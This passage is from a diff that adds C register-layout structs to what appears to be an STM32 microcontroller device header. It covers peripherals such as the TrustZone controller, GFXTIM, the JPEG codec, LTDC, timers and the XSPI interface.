offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief GFXTIM + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXTIM configuration register, Address offset: 0x00 */ + __IO uint32_t CGCR; /*!< GFXTIM clock generator configuration register, Address offset: 0x04 */ + __IO uint32_t TCR; /*!< GFXTIM timers configuration register, Address offset: 0x08 */ + __IO uint32_t TDR; /*!< GFXTIM timers disable register, Address offset: 0x0C */ + __IO uint32_t EVCR; /*!< GFXTIM events control register, Address offset: 0x10 */ + __IO uint32_t EVSR; /*!< GFXTIM events selection register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WDGTCR; /*!< GFXTIM watchdog timer configuration register, Address offset: 0x20 */ + uint32_t RESERVED2[3]; /*!< Reserved, Address offset: 0x24-0x2C */ + __IO uint32_t ISR; /*!< GFXTIM interrupt status register, Address offset: 0x30 */ + __IO uint32_t ICR; /*!< GFXTIM interrupt clear register, Address offset: 0x34 */ + __IO uint32_t IER; /*!< GFXTIM interrupt enable register, Address offset: 0x38 */ + __IO uint32_t TSR; /*!< GFXTIM timers status register, Address offset: 0x3C */ + __IO uint32_t LCCRR; /*!< GFXTIM line clock counter reload register, Address offset: 0x40 */ + __IO uint32_t FCCRR; /*!< GFXTIM frame clock counter reload register, Address offset: 0x44 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x48-0x4C */ + __IO uint32_t ATR; /*!< GFXTIM absolute time register, Address offset: 0x50 */ + __IO uint32_t AFCR; /*!< GFXTIM absolute frame counter register, Address offset: 0x54 */ + __IO uint32_t ALCR; /*!< GFXTIM absolute line counter register, Address offset: 0x58 */ + uint32_t RESERVED4[1]; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t AFCC1R; /*!< GFXTIM absolute frame counter compare 1 register, Address offset: 0x60 */ + uint32_t RESERVED5[3]; /*!< Reserved, Address offset: 0x64-0X6C */ + __IO uint32_t ALCC1R; /*!< GFXTIM absolute line counter compare 1 register, Address offset: 0x70 */ + __IO uint32_t ALCC2R; /*!< GFXTIM absolute line counter compare 2 register, Address offset: 0x74 */ + uint32_t RESERVED6[2]; /*!< Reserved, Address offset: 0x78-0X7C */ + __IO uint32_t RFC1R; /*!< GFXTIM relative frame counter 1 register, Address offset: 0x80 */ + __IO uint32_t RFC1RR; /*!< GFXTIM relative frame counter 1 reload register, Address offset: 0x84 */ + __IO uint32_t RFC2R; /*!< GFXTIM relative frame counter 2 register, Address offset: 0x88 */ + __IO uint32_t RFC2RR; /*!< GFXTIM relative frame counter 2 reload register, Address offset: 0x8C */ + uint32_t RESERVED7[4]; /*!< Reserved, Address offset: 0x90-0X9C */ + __IO uint32_t WDGCR; /*!< GFXTIM watchdog counter register, Address offset: 0xA0 */ + __IO uint32_t WDGRR; /*!< GFXTIM watchdog reload register, Address offset: 0xA4 */ + __IO uint32_t WDGPAR; /*!< GFXTIM watchdog pre-alarm register, Address offset: 0xA8 */ + uint32_t RESERVED8[209]; /*!< Reserved, Address offset: 0xAC-0X3EC */ + __IO uint32_t HWCFGR; /*!< GFXTIM HW configuration register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< GFXTIM version register, Address offset: 0x3F4 */ + __IO uint32_t IPIDR; /*!< GFXTIM identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< GFXTIM size identification register, Address offset: 0x3FC */ +} GFXTIM_TypeDef; + +/** + * @brief JPEG Codec + */ +typedef struct +{ + __IO uint32_t CONFR0; /*!< JPEG Codec Control Register (JPEG_CONFR0), Address offset: 00h */ + __IO uint32_t CONFR1; /*!< JPEG Codec Control Register (JPEG_CONFR1), Address offset: 04h */ + __IO uint32_t CONFR2; /*!< JPEG Codec Control Register (JPEG_CONFR2), Address offset: 08h */ + __IO uint32_t CONFR3; /*!< JPEG Codec Control Register (JPEG_CONFR3), Address offset: 0Ch */ + __IO uint32_t CONFR4; /*!< JPEG Codec Control Register (JPEG_CONFR4), Address offset: 10h */ + __IO uint32_t CONFR5; /*!< JPEG Codec Control Register (JPEG_CONFR5), Address offset: 14h */ + __IO uint32_t CONFR6; /*!< JPEG Codec Control Register (JPEG_CONFR6), Address offset: 18h */ + __IO uint32_t CONFR7; /*!< JPEG Codec Control Register (JPEG_CONFR7), Address offset: 1Ch */ + uint32_t Reserved20[4]; /* Reserved Address offset: 20h-2Ch */ + __IO uint32_t CR; /*!< JPEG Control Register (JPEG_CR), Address offset: 30h */ + __IO uint32_t SR; /*!< JPEG Status Register (JPEG_SR), Address offset: 34h */ + __IO uint32_t CFR; /*!< JPEG Clear Flag Register (JPEG_CFR), Address offset: 38h */ + uint32_t Reserved3c; /* Reserved Address offset: 3Ch */ + __IO uint32_t DIR; /*!< JPEG Data Input Register (JPEG_DIR), Address offset: 40h */ + __IO uint32_t DOR; /*!< JPEG Data Output Register (JPEG_DOR), Address offset: 44h */ + uint32_t Reserved48[2]; /* Reserved Address offset: 48h-4Ch */ + __IO uint32_t QMEM0[16]; /*!< JPEG quantization tables 0, Address offset: 50h-8Ch */ + __IO uint32_t QMEM1[16]; /*!< JPEG quantization tables 1, Address offset: 90h-CCh */ + __IO uint32_t QMEM2[16]; /*!< JPEG quantization tables 2, Address offset: D0h-10Ch */ + __IO uint32_t QMEM3[16]; /*!< JPEG quantization tables 3, Address offset: 110h-14Ch */ + __IO uint32_t HUFFMIN[16]; /*!< JPEG HuffMin tables, Address offset: 150h-18Ch */ + __IO uint32_t HUFFBASE[32]; /*!< JPEG HuffSymb tables, Address offset: 190h-20Ch */ + __IO uint32_t HUFFSYMB[84]; /*!< JPEG HUFFSYMB tables, Address offset: 210h-35Ch */ + __IO uint32_t DHTMEM[103]; /*!< JPEG DHTMem tables, Address offset: 360h-4F8h */ + uint32_t Reserved4FC; /* Reserved Address offset: 4FCh */ + __IO uint32_t HUFFENC_AC0[88]; /*!< JPEG encodor, AC Huffman table 0, Address offset: 500h-65Ch */ + __IO uint32_t HUFFENC_AC1[88]; /*!< JPEG encodor, AC Huffman table 1, Address offset: 660h-7BCh */ + __IO uint32_t HUFFENC_DC0[8]; /*!< JPEG encodor, DC Huffman table 0, Address offset: 7C0h-7DCh */ + __IO uint32_t HUFFENC_DC1[8]; /*!< JPEG encodor, DC Huffman table 1, Address offset: 7E0h-7FCh */ + +} JPEG_TypeDef; + +/** + * @brief LCD-TFT Display Controller + */ +typedef struct +{ + uint32_t RESERVED0[2]; /*!< Reserved, 0x00-0x04 */ + __IO uint32_t SSCR; /*!< LTDC Synchronization Size Configuration Register, Address offset: 0x08 */ + __IO uint32_t BPCR; /*!< LTDC Back Porch Configuration Register, Address offset: 0x0C */ + __IO uint32_t AWCR; /*!< LTDC Active Width Configuration Register, Address offset: 0x10 */ + __IO uint32_t TWCR; /*!< LTDC Total Width Configuration Register, Address offset: 0x14 */ + __IO uint32_t GCR; /*!< LTDC Global Control Register, Address offset: 0x18 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x1C-0x20 */ + __IO uint32_t SRCR; /*!< LTDC Shadow Reload Configuration Register, Address offset: 0x24 */ + uint32_t RESERVED2[1]; /*!< Reserved, 0x28 */ + __IO uint32_t BCCR; /*!< LTDC Background Color Configuration Register, Address offset: 0x2C */ + uint32_t RESERVED3[1]; /*!< Reserved, 0x30 */ + __IO uint32_t IER; /*!< LTDC Interrupt Enable Register, Address offset: 0x34 */ + __IO uint32_t ISR; /*!< LTDC Interrupt Status Register, Address offset: 0x38 */ + __IO uint32_t ICR; /*!< LTDC Interrupt Clear Register, Address offset: 0x3C */ + __IO uint32_t LIPCR; /*!< LTDC Line Interrupt Position Configuration Register, Address offset: 0x40 */ + __IO uint32_t CPSR; /*!< LTDC Current Position Status Register, Address offset: 0x44 */ + __IO uint32_t CDSR; /*!< LTDC Current Display Status Register, Address offset: 0x48 */ +} LTDC_TypeDef; + +/** + * @brief LCD-TFT Display layer x Controller + */ + +typedef struct +{ + __IO uint32_t CR; /*!< LTDC Layerx Control Register Address offset: 0x84 */ + __IO uint32_t WHPCR; /*!< LTDC Layerx Window Horizontal Position Configuration Register Address offset: 0x88 */ + __IO uint32_t WVPCR; /*!< LTDC Layerx Window Vertical Position Configuration Register Address offset: 0x8C */ + __IO uint32_t CKCR; /*!< LTDC Layerx Color Keying Configuration Register Address offset: 0x90 */ + __IO uint32_t PFCR; /*!< LTDC Layerx Pixel Format Configuration Register Address offset: 0x94 */ + __IO uint32_t CACR; /*!< LTDC Layerx Constant Alpha Configuration Register Address offset: 0x98 */ + __IO uint32_t DCCR; /*!< LTDC Layerx Default Color Configuration Register Address offset: 0x9C */ + __IO uint32_t BFCR; /*!< LTDC Layerx Blending Factors Configuration Register Address offset: 0xA0 */ + uint32_t RESERVED0[2]; /*!< Reserved */ + __IO uint32_t CFBAR; /*!< LTDC Layerx Color Frame Buffer Address Register Address offset: 0xAC */ + __IO uint32_t CFBLR; /*!< LTDC Layerx Color Frame Buffer Length Register Address offset: 0xB0 */ + __IO uint32_t CFBLNR; /*!< LTDC Layerx ColorFrame Buffer Line Number Register Address offset: 0xB4 */ + uint32_t RESERVED1[3]; /*!< Reserved */ + __IO uint32_t CLUTWR; /*!< LTDC Layerx CLUT Write Register Address offset: 0x144 */ + +} LTDC_Layer_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief HEXA and OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager 